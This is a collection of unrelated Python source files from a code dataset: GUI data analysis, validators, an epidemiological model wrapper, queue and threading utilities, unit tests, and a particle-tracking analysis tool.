+{"seq_id":"597558666","text":"import PySimpleGUI as sg\nimport csv\nfrom analizarDataset2 import *\nfrom test import *\nimport json\n\n\ndef start():\n    \"\"\"\n    Lanza la ejecución de la ventana del menú inicial\n    \"\"\"\n    window = loop()\n    window.close()\n\n#VENTANA DE ANALISIS DE DATOS DEL DATASET DE VIDEOJUEGOS\ndef loop():\n    \"\"\"\n    Loop de la ventana de menú que capta los eventos al apretar las opciones\n    \"\"\"\n\n    #Construye y configura la ventana con su respectivo layout, y la guarda en la variable window\n    window = sg.Window('Analizar el DATASET 2').Layout([\n                [sg.Text('Elija algún criterio', size=(30,1), font=(\"Sawasdee\", 25), justification= 'center',key='-text-')],\n                [sg.Button('Las veinte marcas de autos mas compradas en USA',key='-criterio1-')],\n                [sg.Button('Las veinte marcas europeas mas compradas en USA',key='-criterio2-')],\n                [sg.Button('SALIR',key='-exit-')],\n            ]) \n\n\n    #Path del dataset de autos\n    path = 'C:/Users/EXO/Desktop/Facu/FACULTAD/Seminario de Lenguajes - Python/trabajo individual/Datasets/DatasetAutos-Logos/companies.csv'\n\n    while True:\n        event, values = window.read()\n\n        #Si el usuario clickea en salir\n        if event in (sg.WINDOW_CLOSED, \"Exit\", \"-exit-\",\"salir\",\"Salir\"):\n            break\n\n        #Si el usuario clickea el criterio 1\n        if event == '-criterio1-':\n\n            #Genera la lista de datos del csv con la funcion analizar dataset2\n            lista = analizar_dataset2(False,path)\n\n            #Lista generada:\n            # [0] = RANK , [1] = MARCA\n\n            #Ordenar la lista por rank\n            lista = sorted(lista, key = lambda x : x[0])\n\n            #Crear el dicc que se usara para cargar datos al json\n            data = {}\n            data['info_autos'] = list()\n\n\n            #Informa los primeros 20 elementos (20 autos mas comprados en USA)\n            i = 1\n            for elem in lista[:20]:\n                print(str(i) + \": \" + str(elem[1]))\n\n                d = {   \n                    'rank' : i,\n                    'marca': elem[1]\n                }   \n\n                data['info_autos'].append(d)\n                i += 1\n           \n            #Path para el archivo json que contendrá las marcas de los autos mas vendidos\n            path_json = 'C:/Users/EXO/Desktop/Facu/FACULTAD/Seminario de Lenguajes - Python/trabajo individual/data2crit1.json'\n\n            #Abrir o crear el json, y agregar data\n            try:\n                with open(path_json,'x') as json_file:\n                    json.dump(data, json_file, indent=4)\n                sg.popup(\"Se ha creado un archivo json con las 20 marcas de autos mas compradas en USA\")\n            except FileExistsError:\n                sg.popup(\"Ya se creó el json del analisis del dataset\")\n\n        #Si el usuario clickea el criterio 2\n        if event == \"-criterio2-\":\n            #Genera la lista de datos del csv con la funcion analizar dataset2\n            lista = analizar_dataset2(True,path)\n            #Lista generada:\n            # [0] = RANK , [1] = MARCA\n\n            #Ordenar la lista por rank\n            lista = sorted(lista, key = lambda x : x[0])\n            \n            #Crear el dicc que se usara para cargar datos al json\n            data = {}\n            data['info_autos'] = list()\n            \n\n            #Informar los primeros 20 elementos (20 autos europeos mas comprados en USA)\n            i = 1\n            for elem in lista[:20]:\n                print(str(i) + \": \" + str(elem[1]))\n                \n                d = {\n                'rank' : i,\n                'marca': elem[1]\n                }   \n\n                data['info_autos'].append(d)\n                i += 1\n\n            \n           \n            #Path para el archivo json que contendrá las marcas de los autos europeos mas vendidos\n            path_json = 'C:/Users/EXO/Desktop/Facu/FACULTAD/Seminario de Lenguajes - Python/trabajo individual/data2crit2.json'\n\n            #Abrir o crear el json, y agregar data\n            try:\n                with open(path_json,'x') as json_file:\n                    json.dump(data, json_file, indent=4)\n                sg.popup(\"Se ha creado un archivo json con las 20 marcas de autos europeos mas compradas en USA\")\n            except FileExistsError:\n                sg.popup(\"Ya se creó el json del analisis del dataset\")\n\n    return window\n\n","sub_path":"analisis2.py","file_name":"analisis2.py","file_ext":"py","file_size_in_byte":4391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"154051030","text":"import re\r\nfrom datetime import datetime\r\n\r\nfrom app_gss.lib.log import log\r\nfrom app_gss.lib.settings import Bapi_connector_conf\r\n\r\nERROR_CODE = {\r\n            400: \"BAD REQUEST\",\r\n            401: \"Unauthorized\",\r\n            403: \"FORBIDDEN\",\r\n            404: \"NOT FOUND\",\r\n            500: \"Internal Server Error\",\r\n            502: \"Bad Gateway\",\r\n            503: \"Service Unavailable\"\r\n        }\r\n\r\n\r\nclass Validate:\r\n    \"\"\"\r\n    Валидация разных значений\r\n    \"\"\"\r\n    @staticmethod\r\n    def host(host: str):\r\n        regex = r'^(\\b(1?[0-9]{1,2}|2[0-4][0-9]|25[0-5])\\b\\.){3}\\b(1?[0-9]{1,2}|2[0-4][0-9]|25[0-5])\\b$'\r\n        return bool(re.match(regex, host))\r\n\r\n    @staticmethod\r\n    def responce(resp):\r\n        \"\"\"\r\n            Проверяет ответ BAPI на поставлнен��ый запрос. Возвращает False, если статус ответа включен в ERROR_CODE\r\n        :param resp: Ответ BAPI\r\n        :return: True or False\r\n        \"\"\"\r\n        if resp.status_code in ERROR_CODE.keys():\r\n            log.warn(ERROR_CODE[resp.status_code])\r\n            return False\r\n        return True\r\n\r\n    @staticmethod\r\n    def query_id(query_id: str):\r\n        \"\"\"\r\n            Проверяет id запроса.\r\n        :param query_id: Id запроса\r\n        :return: True or False\r\n        \"\"\"\r\n        return bool(re.match(r'^\\w{8}(-\\w{4}){3}-\\w{12}$', query_id))\r\n\r\n    @staticmethod\r\n    def timestamp(ts: str):\r\n        try:\r\n            datetime.strptime(ts, '%Y-%m-%d %H:%M:%S')\r\n            return True\r\n        except ValueError:\r\n            return False\r\n\r\n    @staticmethod\r\n    def query_type(query_type: str):\r\n        return query_type in Bapi_connector_conf().type.keys()\r\n\r\n    @staticmethod\r\n    def state(state: str):\r\n        return state in Bapi_connector_conf().type.keys()\r\n","sub_path":"app_gss/lib/valid.py","file_name":"valid.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"163583977","text":"import keepercommander.config as kcfg\nimport logging\n\nconfig_dict = kcfg.set_by_json_file()\nstart_dict = kcfg.start()\nlogging_handlers = start_dict[kcfg.Logging]\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nfor hdr in logging_handlers:\n    logger.addHandler(hdr)\nlogger.info(\"Logger from 'test_config.py'.\")\nlogging.info(f\"Logging from {__name__}\")","sub_path":"test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"377406236","text":"import copy\nfrom datetime import timedelta, datetime\nfrom functools import reduce, partial\n\nimport pandas as pd\nfrom entities.forecast_variables import ForecastVariable\nfrom entities.loss_function import LossFunction\nfrom hyperopt import hp\nfrom model_wrappers.base import ModelWrapperBase\nfrom seirsplus.models_SEIHRD_gen import SEIHRDModel\nfrom utils.hyperparam_util import hyperparam_tuning\nfrom utils.metrics_util import evaluate_for_forecast\n\n\nclass SEIHRD_gen(ModelWrapperBase):\n\n    def __init__(self, model_parameters: dict):\n        self.model_parameters = copy.deepcopy(model_parameters)\n        # Not using Pydantic Method because in the training output we want string returning instead of entity objects\n        if \"latent_information\" in self.model_parameters.keys():\n            if \"latent_variables\" in self.model_parameters[\"latent_information\"].keys():\n                self.model_parameters[\"latent_information\"][\"latent_variables\"] = [ForecastVariable(fv) for fv in\n                                                                                   self.model_parameters[\n                                                                                       \"latent_information\"][\n                                                                                       \"latent_variables\"]]\n\n            if \"latent_on\" in self.model_parameters[\"latent_information\"].keys():\n                self.model_parameters[\"latent_information\"][\"latent_on\"] = ForecastVariable(\n                    self.model_parameters[\"latent_information\"][\"latent_on\"])\n\n    def _convert_latent_str_to_forecast_entity(self, model_parameters):\n        if \"latent_information\" in model_parameters.keys():\n            if \"latent_variables\" in model_parameters[\"latent_information\"].keys():\n                model_parameters[\"latent_information\"][\"latent_variables\"] = [ForecastVariable(fv) for fv in\n                                                                              model_parameters[\"latent_information\"][\n                                                                                  \"latent_variables\"]]\n\n            if \"latent_on\" in model_parameters[\"latent_information\"].keys():\n                model_parameters[\"latent_information\"][\"latent_on\"] = ForecastVariable(\n                    model_parameters[\"latent_information\"][\"latent_on\"])\n        return model_parameters\n\n    def supported_forecast_variables(self):\n        return [ForecastVariable.active, ForecastVariable.exposed, ForecastVariable.hospitalized,\n                ForecastVariable.recovered, ForecastVariable.deceased]\n\n    def fit(self):\n        pass\n\n    def input_variables(self):\n        return ForecastVariable.input_variables()\n\n    def optimize(self, search_space, region_metadata, region_observations, train_start_date, train_end_date,\n                 loss_function):\n        run_day = (datetime.strptime(train_start_date, \"%m/%d/%y\") - timedelta(days=1)).strftime(\"%-m/%-d/%y\")\n        predict_df = self.predict(region_metadata, region_observations, run_day, train_start_date,\n                                  train_end_date, search_space=search_space, is_tuning=True)\n        metrics_result = evaluate_for_forecast(region_observations, predict_df, [loss_function])\n        return metrics_result[0][\"value\"]\n\n    def train(self, region_metadata: dict, region_observations: pd.DataFrame, train_start_date: str,\n              train_end_date: str, search_space: dict, search_parameters: dict, train_loss_function: LossFunction):\n        result = {}\n        if self.is_black_box():\n            run_day = (datetime.strptime(train_start_date, \"%m/%d/%y\") - timedelta(days=1)).strftime(\n                \"%-m/%-d/%y\")\n            objective = partial(self.optimize, region_metadata=region_metadata, region_observations=region_observations,\n                                train_start_date=train_start_date, train_end_date=train_end_date,\n                                loss_function=train_loss_function)\n            for k, v in search_space.items():\n                search_space[k] = hp.uniform(k, v[\"low\"], v[\"high\"])\n            result = hyperparam_tuning(objective, search_space,\n                                       search_parameters.get(\"max_evals\", 100))\n            latent_params = self.get_latent_params(region_metadata, region_observations, run_day,\n                                                   train_end_date, result[\"best_params\"])\n            result.update(latent_params)\n\n        model_params = self.model_parameters\n        model_params.update(latent_params[\"latent_params\"])\n        model_params.update(result[\"best_params\"])\n        model_params[\"MAPE\"] = result[\"best_loss\"]\n        result[\"model_parameters\"] = model_params\n        return {\"model_parameters\": model_params}\n\n    def predict(self, region_metadata: dict, region_observations: pd.DataFrame, run_day: str, start_date: str,\n                end_date: str, **kwargs):\n        latent_variables = self.model_parameters['latent_information']['latent_variables']\n        latent_on = self.model_parameters['latent_information']['latent_on']\n        search_space = kwargs.get(\"search_space\", {})\n        self._is_tuning = kwargs.get(\"is_tuning\", False)\n        self.model_parameters.update(search_space)\n        self.model_parameters = self._convert_latent_str_to_forecast_entity(copy.deepcopy(self.model_parameters))\n        n_days = (datetime.strptime(end_date, \"%m/%d/%y\") - datetime.strptime(run_day, \"%m/%d/%y\")).days + 1\n        prediction_dataset = self.run(region_observations, region_metadata, run_day, n_days, latent_variables,\n                                      latent_on)\n        date_list = list(pd.date_range(start=start_date, end=end_date).strftime(\"%-m/%-d/%y\"))\n        prediction_dataset = prediction_dataset[prediction_dataset.date.isin(date_list)]\n        return prediction_dataset\n\n    def is_black_box(self):\n        return True\n\n    def get_latent_params(self, region_metadata: dict, region_observations: pd.DataFrame, run_day: str, end_date: str,\n                          search_space: dict = {}):\n        latent_variables = self.model_parameters['latent_information']['latent_variables']\n        latent_on = self.model_parameters['latent_information']['latent_on']\n        self.model_parameters.update(search_space)\n        self.model_parameters = self._convert_latent_str_to_forecast_entity(copy.deepcopy(self.model_parameters))\n        n_days = (datetime.strptime(end_date, \"%m/%d/%y\") - datetime.strptime(run_day, \"%m/%d/%y\")).days + 1\n        prediction_dataset = self.run(region_observations, region_metadata, run_day, n_days, latent_variables,\n                                      latent_on)\n        params = dict()\n        params['latent_params'] = dict()\n        ed = prediction_dataset[prediction_dataset['date'] == end_date]\n        rd = prediction_dataset[prediction_dataset['date'] == run_day]\n        for latent_var in latent_variables:\n            params['latent_params'][\"Latent_\" + latent_var.name + \"_ratio\"] = dict()\n            params['latent_params'][\"Latent_\" + latent_var.name + \"_ratio\"][run_day] = float(\n                rd[latent_var.name]) / float(\n                rd[latent_on.name])\n            params['latent_params'][\"Latent_\" + latent_var.name + \"_ratio\"][end_date] = float(\n                ed[latent_var.name]) / float(\n                ed[latent_on.name])\n        return params\n\n    def get_outside_to_model_map(self):\n        # Should cover all the variables required by model as input\n        d = dict()\n        d['initI'] = ForecastVariable.active.name\n        d['initE'] = ForecastVariable.exposed.name\n        d['initH'] = ForecastVariable.hospitalized.name\n        d['initR'] = ForecastVariable.recovered.name\n        d['initD'] = ForecastVariable.deceased.name\n        return d\n\n    def get_model_to_outside(self, estimator):\n        # Should cover all the variables returned by supported_forecast_variables\n        d = dict()\n        d[ForecastVariable.exposed.name] = estimator.numE\n        d[ForecastVariable.active.name] = estimator.numI\n        d[ForecastVariable.hospitalized.name] = [estimator.numHr[i] + estimator.numHd[i] for i in\n                                                 range(len(estimator.numHr))]\n        d[ForecastVariable.recovered.name] = estimator.numR\n        d[ForecastVariable.deceased.name] = estimator.numD\n        return d\n\n    def get_model_with_params(self, region_metadata, region_observations, run_day,\n                              latent_variables: list = [],\n                              latent_on: ForecastVariable = ForecastVariable.confirmed):\n        r0 = self.model_parameters['r0']\n        init_sigma = 1. / self.model_parameters['incubation_period']\n        init_gamma = 1. / self.model_parameters['infectious_period']\n        init_beta = r0 * init_gamma\n        init_alpha = 1. / self.model_parameters['recovery_period']\n        init_delta = 1. / self.model_parameters['deceased_period']\n        init_kappa = self.model_parameters['recovered_ratio']\n        initN = region_metadata.get(\"population\")\n\n        datasets = dict()\n        initDict = dict()\n\n        for var in self.input_variables():\n            temp_dataset = region_observations[region_observations.observation == var.name].iloc[0]\n            datasets[var.name] = temp_dataset\n\n        if self._is_tuning:\n            for var in latent_variables:\n                initDict[var.name] = datasets[latent_on.name][run_day] * self.model_parameters.get(var.name + '_ratio')\n\n        else:\n            if run_day not in self.model_parameters.get(\"Latent_{}_ratio\".format(latent_variables[0].name)):\n                \"\"\"\n                When model_parameters don't have latent_params for run day, \n                we run the model from the most recent day for which we have latent_params till the run_day \n                \n                \"\"\"\n\n                latent_days = list(self.model_parameters.get(\"Latent_{}_ratio\".format(latent_variables[0].name)).keys())\n                temp_run_day = run_day\n                while not temp_run_day in latent_days:\n                    temp_run_day = (datetime.strptime(temp_run_day, \"%m/%d/%y\") - timedelta(days=1)).strftime(\n                        \"%-m/%-d/%y\")\n\n                new_latent_params = self.get_latent_params(region_metadata, region_observations, temp_run_day, run_day,\n                                                           )[\n                    'latent_params']\n\n                for latent_key in new_latent_params:\n                    self.model_parameters[latent_key].update(new_latent_params[latent_key])\n\n            for var in latent_variables:\n                initDict[var.name] = datasets[latent_on.name][run_day] * self.model_parameters.get(\n                    'Latent_{}_ratio'.format(var.name)).get(run_day)\n\n        for var in self.input_variables():\n            initDict[var.name] = datasets[var.name][run_day]\n\n        oToM = self.get_outside_to_model_map()\n        estimator = SEIHRDModel(beta=init_beta, sigma=init_sigma, gamma=init_gamma, alpha=init_alpha, delta=init_delta,\n                                kappa=init_kappa, initN=initN, initI=initDict[oToM['initI']],\n                                initE=initDict[oToM['initE']],\n                                initHr=(initDict[oToM['initH']] * init_kappa),\n                                initHd=(initDict[oToM['initH']] * (1 - init_kappa)),\n                                initR=initDict[oToM['initR']], initD=initDict[oToM['initD']])\n\n        return estimator\n\n    def run(self, region_observations: pd.DataFrame, region_metadata, run_day: str, n_days: int,\n            latent_variables: list, latent_on: ForecastVariable):\n        estimator = self.get_model_with_params(region_metadata, region_observations, run_day, latent_variables,\n                                               latent_on)\n        estimator.run(T=n_days, verbose=False)\n\n        mToO = self.get_model_to_outside(estimator)\n        data_frames = []\n        for var in self.supported_forecast_variables():\n            data_frames.append(self.alignTimeSeries(mToO[var.name], estimator.tseries, run_day, n_days, var.name))\n\n        data_frames.append(self.alignTimeSeries(\n            [sum(x) for x in zip(estimator.numHr, estimator.numHd, estimator.numR, estimator.numD)], estimator.tseries,\n            run_day, n_days, ForecastVariable.confirmed.name))\n\n        result = reduce(lambda left, right: pd.merge(left, right, on=['date'], how='inner'), data_frames)\n        result = result.dropna()\n        return result\n\n    def alignTimeSeries(self, modelI, modelT, run_day, n_days, column_name=ForecastVariable.active.name):\n        dates = [datetime.strptime(run_day, \"%m/%d/%y\") + timedelta(days=x) for x in range(n_days)]\n        model_predictions = []\n        count = 0\n        day0 = dates[0]\n        for date in dates:\n            t = (date - day0).days\n            while modelT[count] <= t:\n                count += 1\n                if count == len(modelT):\n                    print(\"Last prediction reached - Number of predictions less than required\")\n                    model_predictions.append(modelI[count - 1])\n                    model_predictions_df = pd.DataFrame()\n                    model_predictions_df['date'] = [date.strftime(\"%-m/%-d/%y\") for date in dates]\n                    model_predictions_df[column_name] = model_predictions\n                    return model_predictions_df\n\n            x0 = modelI[count] - (\n                    ((modelI[count] - modelI[count - 1]) / (modelT[count] - modelT[count - 1])) * (modelT[count] - t))\n            model_predictions.append(x0)\n        model_predictions_df = pd.DataFrame()\n        model_predictions_df['date'] = [date.strftime(\"%-m/%-d/%y\") for date in dates]\n        model_predictions_df[column_name] = model_predictions\n\n        return model_predictions_df\n","sub_path":"src/model_wrappers/seihrd_gen.py","file_name":"seihrd_gen.py","file_ext":"py","file_size_in_byte":13869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"86111164","text":"class Solution:\n    \"\"\"\n    @param S: a string\n    @return: a list of integers representing the size of these parts\n    \"\"\"\n\n    def partitionLabels(self, S):\n        # Write your code here\n        last = {c: i for i, c in enumerate(S)}\n        j, anchor, ans = 0, 0, []\n        for i, c in enumerate(S):\n            j = max(j, last[c])\n            if i == j:\n                ans.append(i - anchor + 1)\n                anchor = i + 1\n        return ans\n","sub_path":"lintcode/1045-partition-labels.py","file_name":"1045-partition-labels.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"296452487","text":"#!/usr/bin/env python3\n# coding:utf-8\nimport time\nfrom darupy.core import darupy\nfrom django.test import TransactionTestCase\nfrom tasksys.consumers.vnmapraw import VNmapResultConsumer\n\n_check = {}\n\n\ndef test(var, channel, method, _, body: bytes, ):\n    channel.basic_ack(method.delivery_tag)\n    assert \"asdfasdfasdfasdfasdf\" == body.decode()\n    _check[\"recv\"] = True\n\n\nclass HostScanConsumerTestCase(TransactionTestCase):\n\n    def test_consumer_basic(self):\n        VNmapResultConsumer.handle = test\n        if VNmapResultConsumer.queue_name in darupy.arupy.consumers:\n            darupy.arupy.consumers.pop(VNmapResultConsumer.queue_name)\n\n        darupy.add_consumer(VNmapResultConsumer)\n\n        time.sleep(4)\n\n        publisher = darupy.arupy.new_safe_publisher()\n        publisher.publish(\"tasksys\", \"result.hostscan\", \"asdfasdfasdfasdfasdf\")\n        publisher.publish(\"tasksys\", \"result.nmap\", \"asdfasdfasdfasdfasdf\")\n        publisher.publish(\"tasksys\", \"result.servicescan\", \"asdfasdfasdfasdfasdf\")\n        time.sleep(2)\n        self.assertIn(\"recv\", _check)\n","sub_path":"tasksys/tests/test_hostscan_consumer.py","file_name":"test_hostscan_consumer.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"533408995","text":"from threading import RLock, Thread, Event, Condition\n\nWaiting = []\nIn = []\n\ndef synchronized(method):\n    def smethod(self, *params, **args):\n        #print \"@synchronized: wait %s...\" % (method,)\n        q = \"%s(%x).%s\" % (self, id(self), method)\n        Waiting.append(q)\n        with self:\n            Waiting.remove(q)\n            #print \"@synchronized: in %s\" % (method,)\n            In.append(q)\n            out = method(self, *params, **args)\n        #print \"@synchronized: out %s\" % (method,)\n        In.remove(q)\n        return out\n    return smethod\n\ndef printWaiting():\n    print (\"waiting:----\")\n    for w in Waiting:\n        print (w)\n    print (\"in:---------\")\n    for w in In:\n        print (w)\n\nclass Lockable:\n    def __init__(self):\n        self._Lock = RLock()\n        self._WakeUp = Condition(self._Lock)\n\n    def __enter__(self):\n        return self._Lock.__enter__()\n        \n    def __exit__(self, exc_type, exc_value, traceback):\n        return self._Lock.__exit__(exc_type, exc_value, traceback)\n\n    def wait(self, timeout = None):\n        with self._Lock:\n            self._WakeUp.wait(timeout)\n        \n    def notify(self, n=1):\n        with self._Lock:\n            self._WakeUp.notify(n)\n        \n\nclass MyThread(Thread, Lockable):\n    def __init__(self):\n        Thread.__init__(self)\n        Lockable.__init__(self)\n\nclass Queue(Lockable):\n\n    def __init__(self, capacity=None):\n        Lockable.__init__(self)\n        self.Capacity = capacity\n        self.List = []\n        self.Closed = False\n    \n    @synchronized\n    def close(self):\n        self.Closed = True\n        self.notify()\n        \n    @synchronized    \n    def add(self, item):\n        assert not self.Closed, \"The queue is closed\"\n        while self.Capacity is not None and len(self.List) >= self.Capacity:\n            self.wait()\n        self.List.append(item)\n        self.notify()\n        \n    @synchronized    \n    def push(self, item):\n        assert not self.Closed, \"The queue is closed\"\n        while self.Capacity is not None and len(self.List) >= self.Capacity:\n            self.wait()\n        self.List.insert(0, item)\n        self.notify()\n\n    @synchronized\n    def pop(self):\n        while len(self.List) == 0 and not self.Closed:\n            self.wait()\n        if len(self.List) == 0:\n            return None     # closed\n        item = self.List[0]\n        self.List = self.List[1:]\n        self.notify()\n        return item\n        \n    @synchronized\n    def flush(self):\n        self.List = []\n        self.notify()\n\n    @synchronized\n    def __len__(self):\n        return len(self.List)\n        \n        \n        \n","sub_path":"striped/common/MyThread.py","file_name":"MyThread.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"266780133","text":"import unittest\n\nfrom tyckiting_client.probabilityField import ProbabilityField\n\nclass ProbabilityFieldTest(unittest.TestCase):\n\n\tdef test_getBestCoordinates_one_enemy_one_blur(self):\n\t\tfield = ProbabilityField(radius=14, totalProbability=0)\n\t\tfield.set((1,1), 1)\n\t\tfield.blur(radius=3)\n\t\tresult = field.getBestCoordinates(radius=3, amount=1)\n\t\texpectedResult = [(1,1)]\n\t\tself.assertEqual(result, expectedResult)\n\n\tdef test_getBestCoordinates_one_enemy_one_blur_2(self):\n\t\tfield = ProbabilityField(radius=14, totalProbability=0)\n\t\tfield.set((11,0), 1)\n\t\tfield.blur(radius=3)\n\t\tresult = field.getBestCoordinates(radius=3, amount=1)\n\t\tprint('result', result)\n\t\texpectedResult = (11,0)\n\t\tself.assertEqual((result[0][0], result[0][1]), expectedResult)\n","sub_path":"clients/python/tyckiting_client/tests/probabilityField_tests_.py","file_name":"probabilityField_tests_.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"572748146","text":"#!/usr/bin/env python\n\nimport argparse\nfrom gemstat.matrix import *\n\nimport sys\n\nimport scipy as S\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--s0', metavar=\"S0\", type=float, nargs=\"+\", help=\"Zeroeth coefficient for stddev polynomial.\")\nparser.add_argument(\"--s1\", metavar=\"S1\", type=float, nargs=\"+\", help=\"First coefficient for stddev polynomial. (Stddev will be S0 + S1*(mu_bin) for each bin\")\n\nparser.add_argument(\"--baseshift\", metavar=\"BASESHIFT\", type=float, nargs=\"+\", help=\"shift/scale curves so that the 0.0 line shifts to this value, 1.0 line remains the same.\")\n\nparser.add_argument(\"--C\", metavar=\"C\", type=int, help=\"Number of expanded curves to include\")\nparser.add_argument(\"INFILE\", metavar=\"IN_FILE\", type=str)\nparser.add_argument(\"OUTFILE\", metavar=\"OUT_FILE\", type=str)\n\nargs, other = parser.parse_known_args()\n\nin_matrix = GEMSTAT_Matrix.load(args.INFILE)\n\nN, M = in_matrix.storage.shape\nMAXES = in_matrix.storage.max(1)\n\nS0 = S.array(args.s0 if len(args.s0) == N else S.array([args.s0[0] for i in range(N)]))\nS1 = S.array(args.s1 if len(args.s1) == N else S.array([args.s1[0] for i in range(N)]))\n\nif None != args.baseshift and len(args.baseshift) > 0:\n\tif len(args.baseshift) == 1:\n\t\targs.baseshift = args.baseshift * N\n\tfor i in range(N):\n\t\tin_matrix.storage[i,:] = in_matrix.storage[i,:] * (1.0 - args.baseshift[i]/MAXES[i]) + args.baseshift[i]\n\n\t\t\n\t \n\n\n\ndef basic_variance(curve, s0, s1):\n\treturn s0 + s1*curve\n\n\nCHOSEN_VARIANCE=basic_variance\n\ncopies = list()\nfor copy_no in range(args.C):\n\tfuzzed_rows = list()\n\tfor i in range(N):\n\t\trow = in_matrix.storage[i]\n\t\tfuzzed = None #I know python scoping doesn't require this, but it is more understandable.\n\t\tif S0[i] == 0.0 and S1[i] == 0.0:\n\t\t\tfuzzed = row\n\t\telse:\n\t\t\tfuzzed = S.random.normal(loc=row, scale=CHOSEN_VARIANCE(row, S0[i], S1[i]))\n\t\t\tfuzzed = S.maximum(0.0, fuzzed) # noized input cannot be less than 0.0\n\t\t\t#fuzzed = S.minimum(1.0, fuzzed) # Does it make sense to constrain the top end? For now, no. Placeholder code.\n\t\tfuzzed_rows.append(fuzzed)\n\tcopies.append(S.array(fuzzed_rows))\nin_matrix.storage = S.hstack([in_matrix.storage] + copies)\n\nin_matrix.write(args.OUTFILE)\n","sub_path":"python/scripts/apply_noise_regularization.py","file_name":"apply_noise_regularization.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"125209126","text":"\"\"\"\nSPT_Tool 2021\nAntonio Brito @ BCB lab ITQB\n\"\"\"\n\nimport os\nimport time\nfrom datetime import date\nimport tkinter as tk\nfrom multiprocessing import Pool\n\nfrom tracks import *\nfrom GUI_ManualSectioning import ManualSectioning\nfrom Analysis import minmax\nfrom ReportBuilder import makeimage, npy_builder, csv_dump\n\nfrom tqdm import tqdm\n\nclass analysisGUI(tk.Tk):\n    \"\"\"\n    Class that inherits root window class from tk\n    \"\"\"\n\n    def __init__(self, tracks, rejected_tracks, npyname):\n        super().__init__()  # init of tk.Tk\n\n        self.TrackList = tracks\n\n        self.wm_title(\"Analysis\")\n        self.title(\"Analysis\")\n        self.geometry(\"150x150\")\n\n        self.TrackList = tracks\n        self.RejectedTracks = rejected_tracks\n\n        self.manual_var = tk.IntVar()\n        self.breakpointvar = tk.IntVar()\n        self.makeimagesvar = tk.IntVar()\n\n        self.manual_velo_array = np.nan\n        self.minmax_velo_array = np.nan\n\n        self.savepath = tk.filedialog.askdirectory(initialdir=\"C:\", title=\"Please select where to save the data\")\n        self.savepath = os.path.join(self.savepath, npyname)\n        os.makedirs(self.savepath, exist_ok=False)\n\n        self.init_options()\n\n    def init_options(self):\n        options_frame = tk.Frame(self)\n        options_frame.pack(fill='both', expand=True, side='left')\n\n        a_label = tk.Label(master=options_frame, text=\"Please choose the analysis\", wraplength=300, justify='center')\n        a_label.pack(side='top', fill='both')\n\n        check_manual = tk.Checkbutton(master=options_frame, text=\"Manual Sectioning\", variable=self.manual_var,\n                                      onvalue=1, offvalue=0)\n        check_manual.pack(anchor='w')\n\n        IMAGES_tick = tk.Checkbutton(master=options_frame, text=\"Optimize breakpoints\", variable=self.breakpointvar,\n                                     onvalue=1,\n                                     offvalue=0)\n        IMAGES_tick.pack(anchor='w')\n\n        IMAGES_tick = tk.Checkbutton(master=options_frame, text=\"Make Images\", variable=self.makeimagesvar, onvalue=1,\n                                     offvalue=0)\n        IMAGES_tick.pack(anchor='w')\n\n        analysis_button = tk.Button(master=options_frame, text=\"Start analysis\", command=self.analyze)\n        analysis_button.pack(fill='x', expand=True)\n\n    def analyze(self):\n        if self.manual_var.get() == 1:\n            print(\"Manual...\")\n            TL = ManualSectioning(self.TrackList)\n            TL.grab_set()\n            self.wait_window(TL)\n            self.TrackList = TL.alltracks\n\n        if self.breakpointvar.get() == 1:\n            print(f\"Optimizing breakpoint locations...\")\n            print(f\"Using {os.cpu_count()} cpu cores\")\n            start = time.time()\n\n            # Optimizations\n            with Pool(processes=os.cpu_count()) as pool:\n                iterable = tuple(tqdm(pool.imap(minmax, self.TrackList), total=len(self.TrackList)))\n\n            # Save results in another loop\n            # not really efficient but has to be this way to have 'pretty' progress bar with tqdm\n            # Overhead shouldnt be that bad\n            for idx, out in enumerate(iterable):\n                tr = self.TrackList[idx]\n                tr.bruteforce_velo, tr.bruteforce_phi, tr.muggeo_velo, tr.muggeo_phi, tr.muggeo_params = out\n\n            end = time.time()\n            print(f\"Breakpoint optimization in {end-start:.2f} seconds\")\n\n            # Not parallelized\n            \"\"\"\n            for tr in self.TrackList:\n                tr.minmax_velo, tr.minmax_sections = minmax(tr)\n            \"\"\"\n\n        if self.manual_var.get() == 1 or self.TrackList[0].manual_velo:\n            manualboolean = True\n        else:\n            manualboolean = False\n\n        # What to save?\n        # 1 - array of Track objects (.npy) to reload for reanalysis\n        npy_builder(self.TrackList, self.RejectedTracks, self.savepath)\n\n        # 2 - csv file with results\n        csv_dump(self.TrackList, self.savepath)\n\n        # 3 - images\n        if self.makeimagesvar.get() == 1:\n            makeimage(self.TrackList, self.savepath, manualboolean)\n\n        tk.messagebox.showinfo(title=\"All done!\", message=\"All done! Check folder for full report data.\")\n        self.destroy()\n        exit()\n","sub_path":"AnGUI.py","file_name":"AnGUI.py","file_ext":"py","file_size_in_byte":4282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
